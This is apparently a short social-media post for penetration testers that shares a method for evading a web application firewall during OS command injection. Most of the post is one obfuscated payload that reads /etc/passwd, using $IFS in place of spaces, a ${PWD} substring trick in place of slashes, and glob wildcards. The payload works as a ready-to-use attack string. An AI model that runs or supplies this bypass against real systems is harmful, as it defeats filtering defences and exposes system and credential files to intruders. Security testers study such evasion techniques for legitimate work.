If you’ve found an OS command Injection with WAF enabled, special characters like (/”‘&|()-;:.,`) and whitespaces blocked. Try this method to bypass.
E.g.: reading /etc/passwd file:
cat$IFS$9${PWD%%[a-z]*}e*c${PWD%%[a-z]*}p?ss??
#cybersecurity #pentesting https://t.co/r27bDK53yb